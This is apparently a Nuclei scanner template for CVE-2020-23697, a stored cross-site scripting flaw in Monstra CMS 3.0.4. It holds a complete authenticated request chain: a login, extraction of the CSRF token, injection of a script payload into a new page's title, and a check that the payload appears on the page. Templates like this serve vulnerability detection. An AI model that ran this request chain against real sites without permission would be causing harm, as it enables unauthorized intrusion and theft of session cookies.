id: CVE-2020-23697

info:
  name: Monstra CMS 3.0.4 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the page feature in admin/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/monstra-cms/monstra/issues/463
    - https://nvd.nist.gov/vuln/detail/CVE-2020-23697
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-23697
    cwe-id: CWE-79
    epss-score: 0.0009
    cpe: cpe:2.3:a:monstra:monstra_cms:3.0.4:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    verified: true
    vendor: monstra
    product: monstra_cms
  tags: cve,cve2020,xss,mostra,mostracms,cms,authenticated
variables:
  string: "{{to_lower('{{randstr}}')}}"

http:
  - raw:
      - |
        POST /admin/index.php?id=dashboard HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login={{username}}&password={{password}}&login_submit=Log+In
      - |
        GET /admin/index.php?id=pages&action=add_page HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      - |
        POST /admin/index.php?id=pages&action=add_page HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrf={{csrf}}&page_title=%22%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_name={{string}}&page_meta_title=&page_keywords=&page_description=&pages=0&templates=index&status=published&access=public&editor=test&page_tags=&add_page_and_exit=Save+and+Exit&page_date=2023-01-09+18%3A22%3A15
      - |
        GET /{{string}} HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(header_4, "text/html")'
          - 'status_code_4 == 200'
          - 'contains(body_4, "><script>alert(document.domain)</script>") && contains(body_4, "Monstra")'
        condition: and

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - 'id="csrf" name="csrf" value="(.*)">'
        internal: true
        part: body